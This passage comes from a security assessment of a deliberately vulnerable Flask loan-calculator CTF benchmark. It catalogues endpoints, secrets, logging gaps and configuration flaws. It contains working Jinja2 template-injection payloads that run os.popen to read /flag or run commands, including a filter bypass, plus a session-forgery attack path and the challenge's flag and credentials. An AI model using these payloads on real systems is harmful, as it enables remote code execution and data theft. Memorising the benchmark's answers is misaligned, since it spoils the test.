- **Buffer Overflow Attempts:** Submitting names longer than 50 characters or emails longer than 100 characters will cause MySQL errors (exceeds VARCHAR limit), potentially causing application crashes
- **Type Conversion Crashes:** Submitting non-numeric values for loan_amount causes `ValueError` exceptions, leading to 500 Internal Server Error responses
- **Business Logic Bypass:** Negative loan amounts, zero-month terms, and other invalid financial data is accepted without validation
- **Email Format Bypass:** The email field accepts any string value including invalid formats, SQL injection attempts (mitigated by ORM), or XSS payloads (mitigated by Jinja2 auto-escaping in templates)

**Data Protection Mechanisms:** Flask's Jinja2 template engine uses auto-escaping by default, providing output encoding for data rendered in HTML templates. Variables like `{{ user.name }}`, `{{ user.email }}`, and `{{ loan_amount }}` are automatically HTML-escaped, preventing reflected XSS in standard templates. This is one of the few positive security controls detected. However, this protection is completely bypassed in the two `render_template_string()` endpoints where user input is embedded in template code via f-strings.

**Sensitive Data in Logs:** The Apache web server is configured to log requests to `/var/www/apache2/access.log` (specified in `ssti_blind_loan_calculator-httpd.conf` line 4). GET request parameters containing sensitive financial data are logged in plaintext:
- Example: `GET /total_loan_payments?principal=50000&payment=500&term=120` logs loan amount (50000) and payment details
- Login attempts log usernames (though passwords are in POST body, not logged)
- Failed authentication attempts expose valid usernames through timing differences

No log sanitization, no sensitive data filtering, and no log access controls were detected. Container compromise grants access to complete request logs including all query parameters and financial information.

### Multi-Tenant Data Isolation

**Multi-Tenancy Model:** This application is **not designed for multi-tenancy**. It uses a simple single-database, single-schema model where all users share the same database tables. User data isolation depends entirely on application-level filtering using `User.query.get(user_id)` with the session's user_id. There is no:
- Row-Level Security (RLS) at the database level
- Separate databases or schemas per tenant
- Tenant ID columns in database tables
- Query filters enforcing tenant isolation

**Data Isolation Security:** User data isolation is implemented through SQLAlchemy queries that filter by the authenticated user's ID:

```python
user_id = session.get('user_id')
user = User.query.get(user_id)  # Fetches only user_id record
```

This isolation mechanism has a critical dependency: the integrity of the `user_id` value in the session cookie. Since session cookies are signed with a known/weak secret key (`your_secret_key`), an attacker can forge session cookies containing arbitrary user_id values. By setting `user_id=2` in a forged session, an attacker accesses another user's complete profile including plaintext password, email, name, and financial data.

**Horizontal Privilege Escalation Attack Path:**
1. Attacker obtains the Flask secret key (`your_secret_key`) from source code or decompiled pyc files
2. Attacker uses Flask's session serialization library to create a session dictionary: `{'user_id': 2}`
3. Attacker signs the session with HMAC-SHA256 using the secret key
4. Attacker sends requests to `/profile`, `/home`, or `/loan_details` with the forged session cookie
5. Application executes `User.query.get(2)` and returns the victim's data
6. Attacker accesses victim's plaintext password, PII, and financial information

No server-side validation of user_id legitimacy, no cross-reference with authentication records, and no anomaly detection prevent this attack.

---

## 5. Attack Surface Analysis

### External Entry Points - Network-Accessible Endpoints

The application exposes **8 HTTP endpoints** on **port 80 (unencrypted HTTP)**. All endpoints are served through Apache web server with mod_wsgi forwarding requests to the Flask application. The attack surface is relatively compact with clear separation between unauthenticated (public) and authenticated endpoints.

**Public Endpoints (No Authentication Required):**

1. **Root/Index Endpoint - `/`**
   - **File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/routes.py` lines 17-19
   - **HTTP Methods:** GET
   - **Functionality:** Redirects to `/login` using `redirect(url_for('login'))`
   - **Attack Surface:** Minimal - simple redirect with no user input processing
   - **Security Notes:** Hardcoded redirect destination prevents open redirect vulnerabilities

2. **Login Endpoint - `/login`**
   - **File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/routes.py` lines 22-36
   - **HTTP Methods:** GET (display form), POST (process credentials)
   - **Input Parameters:**
     - `username` (POST form field, no validation)
     - `password` (POST form field, no validation)
   - **Functionality:** Authenticates users against plaintext password database, creates session on success
   - **Attack Surface:** Primary authentication entry point
   - **Vulnerabilities:**
     - No rate limiting (brute force vulnerable)
     - No CSRF protection (session fixation possible)
     - Plaintext password comparison (credential exposure on DB compromise)
     - Hardcoded test credentials (username: test, password: test)
     - Timing attack vulnerable (database query returns different timing for valid vs. invalid users)
   - **Response Behavior:** Success redirects to `/home`, failure re-renders login template with error message

**Authenticated Endpoints (Session-Based Authentication Required):**

3. **Logout Endpoint - `/logout`**
   - **File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/routes.py` lines 39-43
   - **HTTP Methods:** GET
   - **Authentication:** No explicit check (assumes authenticated user, but accepts unauthenticated requests)
   - **Functionality:** Removes `user_id` from session and redirects to `/login`
   - **Attack Surface:** Minimal logout functionality
   - **Security Issues:** Does not invalidate session cookie, does not prevent session reuse if cookie is captured before logout

4. **Home Dashboard - `/home`**
   - **File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/routes.py` lines 46-55
   - **HTTP Methods:** GET
   - **Authentication:** Session check at line 49: `user_id = session.get('user_id')`
   - **Functionality:** Displays user profile and loan information
   - **Input Parameters:** None (reads from session and database)
   - **Attack Surface:** Displays sensitive financial data
   - **Security Notes:** Read-only endpoint, user data isolated by session user_id

5. **Profile Management - `/profile`**
   - **File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/routes.py` lines 58-79
   - **HTTP Methods:** GET (display form), POST (update profile)
   - **Authentication:** Session check at line 61
   - **Input Parameters (POST):**
     - `name` (no validation, VARCHAR 50 limit)
     - `lastname` (no validation, VARCHAR 50 limit)
     - `email` (no email format validation, VARCHAR 100 limit)
     - `loan_amount` (float conversion, no range validation, accepts negatives)
     - `loan_term_months` (int conversion, no range validation)
     - `monthly_payment` (float conversion, no range validation)
   - **Attack Surface:** User-controlled data writes to database
   - **Vulnerabilities:**
     - No CSRF protection (attacker can modify victim's profile via cross-site form submission)
     - No input validation (buffer overflow attempts, invalid types cause crashes)
     - No business logic validation (negative loan amounts accepted)
     - Type conversion failures cause 500 errors (DoS potential)
   - **Data Flow:** User input → Type conversion → ORM update → Database write (all plaintext)

6. **Loan Details Display - `/loan_details`**
   - **File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/routes.py` lines 82-92
   - **HTTP Methods:** GET
   - **Authentication:** Session check at line 85
   - **Functionality:** Displays loan details and provides button to load amortization table in iframe
   - **Attack Surface:** Renders template containing iframe that loads `/amortization?term={{ loan_term_months }}`
   - **Security Notes:** The iframe src is server-side templated (safe), but triggers unauthenticated SSTI endpoint
   - **Client-Side Code:** Contains jQuery that sets iframe src on button click (loan_details.html lines 50-56)

7. **Total Loan Payments API - `/total_loan_payments` (CRITICAL SSTI VULNERABILITY)**
   - **File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/routes.py` lines 95-119
   - **HTTP Methods:** GET
   - **Authentication:** Session check at line 98
   - **Input Parameters (GET query):**
     - `principal` (type=str, **no validation, SSTI vulnerable**)
     - `payment` (type=float)
     - `term` (type=int)
   - **Functionality:** Calculates total loan payments and returns JSON response
   - **Attack Surface:** **PRIMARY EXPLOITATION TARGET**
   - **CRITICAL VULNERABILITY - Server-Side Template Injection:**
     ```python
     principal = request.args.get('principal', type=str)  # Line 101
     json_template = f"""
     {{ "loan_principal": "{{{{ principal }}}}" ,"monthly_payment": "{{{{ payment }}}}", ...
     """  # Lines 110-112
     return render_template_string(json_template, principal=principal, ...)  # Line 115
     ```
   - **Exploitation:** The `principal` parameter is embedded directly into the template string via f-string interpolation BEFORE Jinja2 processing, allowing injection of Jinja2 template directives
   - **Example Payloads:**
     - `?principal={{7*7}}&payment=100&term=12` → Executes arithmetic (returns 49)
     - `?principal={{config}}&payment=100&term=12` → Leaks Flask configuration including SECRET_KEY
     - `?principal={{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}&payment=100&term=12` → Reads flag file
   - **Impact:** Remote Code Execution, flag retrieval, container compromise

8. **Amortization Table - `/amortization` (CRITICAL SSTI VULNERABILITY + MISSING AUTH)**
   - **File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/routes.py` lines 122-177
   - **HTTP Methods:** GET
   - **Authentication:** **MISSING - No session check (authorization bypass)**
   - **Input Parameters (GET query):**
     - `term` (type=str, **weak blacklist filter, SSTI vulnerable**)
   - **Functionality:** Generates amortization table HTML
   - **Attack Surface:** **SECONDARY EXPLOITATION TARGET (UNAUTHENTICATED ACCESS)**
   - **Partial Protection:** Lines 128-129 implement weak blacklist:
     ```python
     if "{" in term or "}" in term or "%" in term:
         return Response('GET parameter `term` contains forbidden characters.', status=400)
     ```
   - **CRITICAL VULNERABILITY - Server-Side Template Injection with Filter Bypass:**
     ```python
     term = request.args.get('term', type=str)  # Line 125
     table_template = f"""
     ...
     {{% for row in range({term}) %}}  <!-- Line 163 - Direct injection -->
     ...
     """
     return render_template_string(table_template)  # Line 177
     ```
   - **Exploitation:** Bypass blacklist by breaking out of the range() call:
     - `?term=5) }}{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}{{ range(1`
   - **Impact:** Unauthenticated Remote Code Execution, flag retrieval without requiring credentials

**Entry Point Summary Table:**

| Endpoint | Auth Required | HTTP Methods | Primary Risk | Severity |
|----------|---------------|--------------|--------------|----------|
| `/` | No | GET | None (redirect only) | Info |
| `/login` | No | GET, POST | Brute force, credential stuffing | High |
| `/logout` | No* | GET | None | Low |
| `/home` | Yes | GET | Data exposure via session forgery | Medium |
| `/profile` | Yes | GET, POST | CSRF, input validation bypass | High |
| `/loan_details` | Yes | GET | Triggers unauthenticated SSTI | Medium |
| `/total_loan_payments` | Yes | GET | **SSTI → RCE** | **Critical** |
| `/amortization` | **NO** | GET | **Unauthenticated SSTI → RCE** | **Critical** |

### Internal Service Communication

**Service Architecture:** The application consists of two Docker containers orchestrated via docker-compose:

1. **loan_calculator service** (Flask application)
   - Port 80 exposed to external networks (HTTP)
   - Internal Docker network communication to MySQL

2. **db service** (MySQL 5.7.15)
   - Port 3306 exposed only within Docker internal network (not published to host)
   - Listens for connections from loan_calculator service

**Trust Relationships:** The Flask application trusts the MySQL database completely with no mutual TLS authentication, no certificate validation, and no connection verification beyond password authentication. The database trusts any client presenting the root password (`loan_calculator`), which is hardcoded throughout the system. Docker's internal network provides basic isolation from external networks, but any container compromise grants access to the database network segment.

**Security Assumptions:** The architecture assumes:
- Docker network isolation is sufficient (no TLS required between services)
- MySQL credentials remain secret (violated by source code exposure)
- Only the Flask application accesses the database (no verification mechanism)
- Container compromise does not occur (violated by SSTI vulnerabilities enabling RCE)

**Lateral Movement Opportunities:** If an attacker achieves code execution in the Flask application container (via SSTI), they can:
- Access MySQL on db:3306 using root credentials from source code
- Extract all user data including plaintext passwords
- Modify database records to create privileged accounts
- Drop tables or truncate data (denial of service)
- Attempt MySQL-based privilege escalation or container escape

### Input Validation Patterns

**Input Validation Assessment:** The application demonstrates a near-complete **absence of input validation**, representing a systemic security failure. Not a single input validation library, schema validation framework, or sanitization function was detected in the codebase. The only validation found is a weak blacklist filter in `/amortization` that blocks three characters (`{`, `}`, `%`), which is trivially bypassable and exemplifies insecure validation approaches.

**Type Casting as Pseudo-Validation:** The application uses Flask's request parameter type casting as a minimal safety measure:

```python
principal = request.args.get('principal', type=str)  # Line 101
payment = request.args.get('payment', type=float)   # Line 102
term = request.args.get('term', type=int)           # Line 103
```

However, this provides only basic type conversion and no validation:
- **String parameters** accept any content including special characters, template directives, excessive length
- **Float/Integer conversion** raises `ValueError` exceptions if non-numeric input is provided, causing 500 Internal Server Error responses (unhandled exceptions expose stack traces)
- **No range validation** allows negative numbers, zero values, or excessively large values that violate business logic

**Blacklist Filter Analysis (Weak Security Control):**

The `/amortization` endpoint implements the only input validation in the application:

```python
term = request.args.get('term', type=str)
if "{" in term or "}" in term or "%" in term:
    return Response('GET parameter `term` contains forbidden characters.', status=400)
```

**Why This Filter Fails:**
1. **Blacklist Approach:** Blocks specific characters rather than allowing only safe input (whitelist approach preferred)
2. **Incomplete Coverage:** Only blocks `{`, `}`, `%` but misses alternative Jinja2 syntax like comments `{# #}` or variable escaping
3. **Bypassable via Syntax Manipulation:** Jinja2 expression evaluation can be achieved by breaking out of the `range({term})` context without using blocked characters:
   - Payload: `5) }}{{request.application.__globals__}}{{ range(1`
   - The closing `}}` and opening `{{` are inserted via f-string injection, not in the `term` parameter
4. **No Encoding Detection:** Does not check for URL-encoded, Unicode-escaped, or double-encoded versions of blocked characters

**Missing Validation Controls:**
- **No length restrictions** (despite database VARCHAR limits)
- **No format validation** (email fields accept any string)
- **No range validation** (financial fields accept negative numbers)
- **No character whitelisting** (special characters allowed everywhere)
- **No business logic validation** (loan term can be 0 or negative)
- **No CSRF tokens** in any form
- **No rate limiting** on authentication or data submission endpoints

### Background Processing

**Background Job Analysis:** The application implements **no background job processing, no asynchronous task queues, and no scheduled jobs**. All business logic executes synchronously within the HTTP request-response cycle. No Celery, no Redis queues, no cron jobs, and no message brokers were detected.

**Implications for Attack Surface:**
- **Simplified Attack Surface:** No background worker processes to target, no job queue injection attacks, no scheduler manipulation
- **No Privilege Escalation via Background Jobs:** No separation between web worker and background worker privileges
- **Synchronous Processing Only:** All code execution happens within the Flask request handler context with the same privileges

**Potential Background Components (None Found):**
- No database migrations running as scheduled tasks
- No email sending workers (no email functionality detected)
- No data export or report generation jobs
- No cleanup or maintenance tasks

The absence of background processing simplifies security analysis—all attack vectors must be triggered through HTTP requests to the 8 identified endpoints. Any code execution vulnerability (like SSTI) executes with the same privileges as the Apache/WSGI process (root user within the container).

---

## 6. Infrastructure & Operational Security

### Secrets Management

**Secret Types and Storage Locations:** The application's secrets management demonstrates catastrophic failures with hardcoded credentials exposed in multiple locations throughout the codebase and infrastructure configuration. The following secrets were identified:

**1. Flask Session Secret Key**
- **Value:** `your_secret_key`
- **Location:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/__init__.py` line 8
- **Code:** `app.secret_key = 'your_secret_key'`
- **Comment in Source:** Line 7 states "Change this to a secure secret key" (never changed)
- **Purpose:** HMAC-SHA256 signing key for session cookies
- **Risk Level:** CRITICAL
- **Impact:** Complete authentication bypass through session forgery
- **Exposure:** Visible in version control, source code, and any application deployment

**2. MySQL Root Password**
- **Value:** `loan_calculator`
- **Locations:** Exposed in THREE separate files:
  - **Application Code:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/__init__.py` line 11
    ```python
    app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://root:loan_calculator@db/database'
    ```
  - **Database Dockerfile:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/mysql/Dockerfile` line 3
    ```dockerfile
    ENV MYSQL_ROOT_PASSWORD=loan_calculator
    ```
  - **Docker Compose Healthcheck:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/docker-compose.yml` lines 6-7
    ```yaml
    test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-u", "root", "-ploan_calculator"]
    ```
- **Purpose:** MySQL root superuser authentication
- **Risk Level:** CRITICAL
- **Impact:** Complete database compromise, data exfiltration, data destruction
- **Exposure:** Source code, container environment variables, process listings (`docker inspect`)

**3. CTF Flag (Development Environment)**
- **Value:** `flag{90f2407f-0723-4fa1-a104-d5d8450bcded}`
- **Location:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/.env` line 1
- **Code:** `FLAG="flag{90f2407f-0723-4fa1-a104-d5d8450bcded}"`
- **Purpose:** CTF challenge flag (development/testing environment)
- **Risk Level:** LOW (CTF context, but demonstrates poor secret management)
- **Storage in Container:** Flag written to `/flag` file during container build (app/Dockerfile lines 20-21)

**Secret Rotation Capabilities:** The application has **zero secret rotation capability**. All secrets are hardcoded constants that cannot be updated without:
1. Modifying source code files
2. Rebuilding Docker images
3. Redeploying containers
4. Invalidating all existing sessions (for Flask secret key)

No environment variable configuration, no integration with secret management systems (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, Google Secret Manager), no configuration management integration (Ansible Vault, Chef Encrypted Data Bags), and no runtime secret injection mechanisms exist. This architectural failure means:
- Secrets cannot be rotated in response to compromise
- Different environments (dev/staging/prod) use identical credentials
- Secret changes require application redeployment
- Version control history permanently contains all historical secrets

**Comparison to Security Best Practices:**

| Security Practice | Current State | Best Practice | Risk |
|------------------|---------------|---------------|------|
| Flask Secret Key | Hardcoded default | Env var, 32+ random bytes | Critical |
| DB Credentials | Hardcoded in 3 files | Secret manager, env var | Critical |
| Credential Rotation | Impossible without redeployment | Automated rotation | Critical |
| Environment Separation | Same credentials everywhere | Unique per environment | High |
| Version Control | Secrets committed to git | .gitignore, git-secrets | Critical |
| Access Control | Anyone with source has secrets | RBAC on secret access | Critical |

### Configuration Security

**Environment Separation:** The application demonstrates **no separation between development, staging, and production environments**. All configuration is hardcoded in source files with no environment-specific overrides. The same Flask secret key, database credentials, and configuration values apply across all deployments. No mechanism exists to differentiate between environments or apply environment-specific security controls.

**Configuration Files and Security Implications:**

1. **Flask Application Configuration** (`app/website/app/__init__.py`)
   - Hardcoded secret key (line 8)
   - Hardcoded database URI with credentials (line 11)
   - No `SQLALCHEMY_TRACK_MODIFICATIONS` configuration (defaults to False, acceptable)
   - Missing security configurations:
     - No `SESSION_COOKIE_SECURE` (allows cookies over HTTP)
     - No `SESSION_COOKIE_HTTPONLY` (JavaScript can access cookies)
     - No `SESSION_COOKIE_SAMESITE` (CSRF vulnerable)
     - No `PERMANENT_SESSION_LIFETIME` (sessions never expire)

2. **Docker Compose Configuration** (`docker-compose.yml`)
   - Exposes port 80 dynamically (external access)
   - Passes FLAG as build argument (visible in image history via `docker history`)
   - No network isolation beyond default Docker bridge network
   - No resource limits (memory_limit, cpu_count)
   - Healthchecks expose credentials in command arguments

3. **Apache HTTPD Configuration** (`app/ssti_blind_loan_calculator-httpd.conf`)
   - **Line 11:** `Header set Access-Control-Allow-Origin "*"` (wildcard CORS allows any origin)
   - **Line 15:** `Options Indexes FollowSymLinks` (directory listing enabled)
   - **Line 16:** `Options +ExecCGI` (CGI execution enabled, though no CGI scripts present)
   - **Line 4:** Error logs to `/var/www/apache2/error.log` (non-standard location)
   - **Line 5:** Access logs to `/var/www/apache2/access.log` (contains sensitive query parameters)
   - **Missing:** No security headers (HSTS, CSP, X-Frame-Options, X-Content-Type-Options)

**Security Headers Configuration:** The application attempts to set cache control headers but contains a critical bug:

```python
@app.after_request
def add_header(request):
    request.headers['Cache-Control'] = 'no-cache, no-store, must-revalidate'
    request.headers['Pragma'] = 'no-cache'
    request.headers['Expires'] = '0'
    request.headers['Cache-Control'] = 'public, max-age=0'  # Overwrites previous line
    return request
```

**Configuration Bugs:**
1. Modifies `request.headers` instead of `response.headers` (incorrect object)
2. Sets `Cache-Control` twice with conflicting values (line 10 overwrites line 9)
3. Conflicts with Apache CORS header configuration

**Infrastructure Security Headers:** No security headers are configured anywhere in the infrastructure. Specifically searching for Nginx, Kubernetes Ingress, or CDN configurations that might define `Strict-Transport-Security` (HSTS) or advanced `Cache-Control` policies:

- **No Nginx Configuration:** Application uses Apache directly, no reverse proxy detected
- **No Kubernetes Deployment:** Application uses docker-compose, not Kubernetes Ingress
- **No CDN Configuration:** No Cloudflare, AWS CloudFront, or similar CDN configuration files

**Missing Security Headers:**
- `Strict-Transport-Security` (HSTS): Not configured (N/A without HTTPS, but preparation for TLS missing)
- `Content-Security-Policy` (CSP): Not configured (would prevent inline scripts if XSS existed)
- `X-Frame-Options`: Not configured (allows clickjacking if sensitive actions existed)
- `X-Content-Type-Options: nosniff`: Not configured (MIME sniffing attacks possible)
- `Referrer-Policy`: Not configured (referrer leakage possible)
- `Permissions-Policy`: Not configured (feature policy not restricted)

### External Dependencies

**Third-Party Services and Security Implications:** The application uses **no external third-party services, APIs, or SaaS integrations**. Analysis of the codebase reveals:
- No HTTP client libraries (requests, urllib) usage in application logic
- No external API calls or webhooks
- No OAuth provider integrations
- No payment gateways
- No email services (SendGrid, Mailgun, etc.)
- No analytics or monitoring services (Google Analytics, New Relic, etc.)
- No CDN or cloud storage (S3, CloudFront, etc.)

**Python Dependency Analysis** (`app/website/requirements.txt`):

```
flask==3.0.3
flask-sqlalchemy==3.1.1
pymysql==1.1.0
```

**Dependency Security Assessment:**

1. **Flask 3.0.3** (released April 2024)
   - Status: Current/Recent version
   - Known CVEs: None in 3.0.3 specifically
   - Security: Modern version with active maintenance
   - Transitive dependencies: Werkzeug, Jinja2, Click, ItsDangerous

2. **Flask-SQLAlchemy 3.1.1** (released December 2023)
   - Status: Recent version
   - Known CVEs: None affecting 3.1.1
   - Security: Provides baseline SQL injection protection via ORM

3. **PyMySQL 1.1.0** (released May 2023)
   - Status: Recent version
   - Known CVEs: None in 1.1.0
   - Security Concern: No SSL/TLS by default (requires explicit configuration not present)

**System Package Dependencies** (from Dockerfile):
- apache2 (version determined by Debian Bullseye repos, potentially outdated)
- libapache2-mod-wsgi-py3
- python3 (Debian Bullseye provides Python 3.9.x)
- python3-pip
- curl (used in healthchecks only)

**MySQL 5.7.15 (CRITICAL OUTDATED DEPENDENCY):**
- **Released:** September 2016 (over 8 years old)
- **Current Version:** MySQL 8.0.x (released April 2018, now at 8.0.35+)
- **Known CVEs affecting 5.7.15:**
  - CVE-2017-3600: Remote code execution via specially crafted SQL
  - CVE-2017-3633: Denial of service via mysqld process crash
  - CVE-2018-2562: Privilege escalation via specially crafted queries
  - CVE-2018-2612: Remote denial of service
  - And 50+ additional CVEs patched in versions 5.7.16 through 5.7.44
- **Risk Level:** CRITICAL - using database with known RCE and privilege escalation vulnerabilities

**Supply Chain Security Considerations:**
- No dependency pinning beyond major.minor.patch versions
- No integrity verification (SHA256 checksums for packages)
- No vulnerability scanning (Snyk, Dependabot, etc.)
- No Software Bill of Materials (SBOM)
- Dependencies installed from PyPI without signature verification

### Monitoring & Logging

**Logging Implementation:** The application uses default Flask and Apache logging with minimal customization:

**Apache Access Logs:**
- **Location:** `/var/www/apache2/access.log` (configured in httpd.conf line 5)
- **Format:** Standard Apache Combined Log Format
- **Content:** HTTP method, URL with query parameters, status code, user agent
- **Security Concern:** Logs sensitive financial data in query strings
  - Example: `GET /total_loan_payments?principal=50000&payment=500&term=120`
  - Loan amounts, payment details, and financial information logged in plaintext

**Apache Error Logs:**
- **Location:** `/var/www/apache2/error.log` (configured in httpd.conf line 4)
- **Content:** Application errors, Python exceptions, Apache errors
- **Security Concern:** May contain stack traces with sensitive configuration details

**Flask Application Logging:**
- **Configuration:** No custom logging configuration detected
- **Default Behavior:** Uses Python's standard logging module with Flask defaults
- **Log Level:** Not explicitly set (defaults to WARNING)
- **Output:** stderr (captured by Docker logging driver)

**Security Event Visibility - Critical Gaps:**

The application provides **no security event logging or monitoring**, representing a complete blindness to security incidents:

❌ **Authentication Events:**
- No logging of failed login attempts
- No tracking of successful authentications
- No detection of brute force attacks
- No unusual authentication pattern detection
- No account lockout mechanisms

❌ **Authorization Events:**
- No logging of access control failures
- No tracking of privilege escalation attempts
- No monitoring of administrative actions (none exist)

❌ **Data Access Events:**
- No audit trail of sensitive data access
- No tracking of profile modifications
- No logging of database queries
- No GDPR-compliant access logs (required for PII access under Article 30)

❌ **Security Anomalies:**
- No intrusion detection logging
- No rate limiting logs
- No suspicious pattern detection (SQL injection attempts, XSS attempts)
- No file access monitoring (no detection if `/flag` file is accessed)

❌ **Application Errors:**
- Type conversion errors (invalid float/int values) raise unhandled exceptions
- 500 Internal Server Errors expose stack traces (if Flask debug mode enabled)
- No structured error logging for security analysis

**Log Retention and Access Control:**
- **Retention:** Container-based logs persist only while container exists (ephemeral)
- **No Centralized Logging:** No log aggregation (ELK stack, Splunk, CloudWatch, etc.)
- **Access Control:** Logs accessible to anyone with container shell access
- **No Log Immutability:** Logs can be modified or deleted by attacker with container access
- **No SIEM Integration:** No Security Information and Event Management system

**SSTI Exploitation Detection Capability:** If an attacker exploits the SSTI vulnerabilities to read `/flag` or execute code, **no logging mechanism would detect this activity**. The exploitation would appear in access logs as:
```
GET /total_loan_payments?principal={{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}&payment=100&term=12
```

This would be logged but not flagged as suspicious, providing no real-time alerting or incident response trigger.

**Container Logging:**
- **Docker Logging Driver:** Default (json-file)
- **Log Location:** `/var/lib/docker/containers/<container-id>/<container-id>-json.log`
- **Rotation:** Docker's default log rotation (no explicit configuration in docker-compose.yml)
- **Persistence:** Logs deleted when container is removed

---

## 7. Overall Codebase Indexing

The XBEN-023-24 loan calculator codebase follows a **traditional Flask monolithic application structure** organized within a containerized deployment architecture. The repository root contains orchestration and configuration files (docker-compose.yml, Makefile, .env) that define the multi-container environment, while the application logic is compartmentalized into two primary directories: `app/` containing the Flask web application and `mysql/` containing database container definitions. This separation of concerns between application and data tiers reflects a deliberate architectural decision to isolate services while maintaining deployment simplicity through docker-compose orchestration.

The Flask application within `app/website/` demonstrates a **micro-framework organizational pattern** where the entire application logic is consolidated into a small number of focused Python modules. The entry point (`run.py`) initializes the Flask development server, while `ssti_blind_loan_calculator.wsgi` provides the production WSGI interface for Apache integration. The core application package resides in `app/website/app/` following Python package conventions with `__init__.py` serving as the application factory, `routes.py` containing all endpoint handlers (176 lines encompassing 8 routes), `models.py` defining the single SQLAlchemy User model, and `db.py` providing the database instance. This flat structure, while simple to navigate, concentrates significant functionality within `routes.py`, creating a single high-value target file for security analysis that contains both SSTI vulnerabilities, authentication logic, and all business logic.

The frontend architecture uses a **hybrid server-side/client-side rendering approach** with Jinja2 templates in `app/website/app/templates/` providing server-side HTML generation augmented by static JavaScript libraries (jQuery 3.6.0, Bootstrap bundle) in `app/website/app/static/`. The template files (login.html, home.html, profile.html, loan_details.html) implement the presentation layer using Bootstrap CSS framework for responsive design, while minimal custom JavaScript handles client-side interactivity such as the iframe-based amortization table loader. The static assets directory follows standard Flask conventions with `static/css/` containing both Bootstrap framework CSS and custom styling (style.css), and `static/js/` containing third-party libraries. From a security perspective, this structure means the attack surface for client-side vulnerabilities is limited—no custom JavaScript performs sensitive operations, and all user data processing occurs server-side.

The infrastructure layer demonstrates **Docker-based deployment conventions** with separate Dockerfiles for application (`app/Dockerfile`) and database (`mysql/Dockerfile`) services. The application Dockerfile uses a multi-step build process: (1) Debian Bullseye-slim base image selection, (2) system package installation (Apache, mod_wsgi, Python), (3) Python dependency installation from requirements.txt, (4) application code copying, (5) Apache configuration, and critically (6) flag file creation (`RUN echo -n $FLAG > /flag`). This build process embeds secrets and sensitive data directly into the Docker image layers, making them discoverable via `docker history` commands. The database Dockerfile similarly uses MySQL 5.7.15 as the base with environment variables setting root password and database name. The docker-compose.yml orchestration file ties these services together with dependency management (application waits for database health check), port exposure (dynamic port mapping for port 80), and build argument passing for the flag value.

The repository includes **minimal tooling and automation** beyond deployment configuration. The Makefile includes external common build logic (`include ../../common.mk`), suggesting this repository is part of a larger collection of CTF challenges or penetration testing scenarios with shared build infrastructure. The benchmark.json file contains metadata describing the challenge parameters (name: "ssti_blind_loan_calculator", category: "webapp", difficulty metrics). The `.xben_build_done` file serves as a build completion marker containing container IDs. Notably absent are testing frameworks (no pytest, no unittest files), code quality tools (no linting configuration), CI/CD pipeline definitions (no .github/workflows, no Jenkinsfile), security scanning integration (no Snyk, no OWASP Dependency-Check), and development documentation beyond basic deployment instructions.

From a **security component discoverability perspective**, this codebase structure presents both advantages and challenges for penetration testers. The concentration of all route handlers in a single 176-line `routes.py` file enables rapid identification of all endpoints and attack surfaces through straightforward static analysis. The template files in a single directory facilitate quick identification of all user-facing interfaces and potential XSS sinks. However, the lack of explicit security middleware, absence of authentication decorators (Flask-Login patterns), and inline security checks scattered throughout route handlers increase the likelihood of missing authorization checks (as occurred in `/amortization`). The hardcoded credentials and configuration scattered across multiple files (`__init__.py`, `Dockerfile`, `docker-compose.yml`, `.env`) create multiple discovery points rather than a centralized secret management location, though this also means multiple exposure vectors for attackers.

The build and dependency management conventions follow **Python/Flask ecosystem standards** with requirements.txt providing pip-installable dependencies (flask==3.0.3, flask-sqlalchemy==3.1.1, pymysql==1.1.0) and Dockerfile RUN commands installing system packages via apt. The absence of additional files like Pipfile/Pipfile.lock (Pipenv), poetry.lock (Poetry), or requirements-dev.txt suggests this is a production-style deployment without development/testing dependency separation. The Apache configuration (`ssti_blind_loan_calculator-httpd.conf`) uses traditional VirtualHost directives with WSGI daemon process configuration, representing a production-grade deployment pattern that contrasts with the development-quality security practices throughout the codebase.

**Impact on Security Analysis Workflow:** For penetration testers and security reviewers, this organizational structure enables a efficient analysis approach: (1) Start with `docker-compose.yml` to understand service architecture and exposed ports, (2) Examine `app/website/app/__init__.py` to identify configuration and secrets, (3) Analyze `routes.py` comprehensively as it contains all endpoint logic and vulnerabilities, (4) Review `models.py` to understand data structures and database schema, (5) Check templates for client-side attack vectors, (6) Inspect Dockerfiles for embedded secrets and build-time vulnerabilities. The flat structure and minimal file count (approximately 20 total files excluding libraries) means comprehensive security review can be completed rapidly, though the concentration of functionality also means missing a single file (routes.py) would miss all major vulnerabilities.

---

## 8. Critical File Paths

All file paths referenced in this analysis are categorized below for systematic manual review:

### Configuration

- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/docker-compose.yml` - Container orchestration, port exposure, build arguments, healthchecks
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/.env` - Environment variables including FLAG value
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/ssti_blind_loan_calculator-httpd.conf` - Apache virtual host configuration, CORS policy, directory options
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/Makefile` - Build automation scripts
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/benchmark.json` - Challenge metadata

### Authentication & Authorization

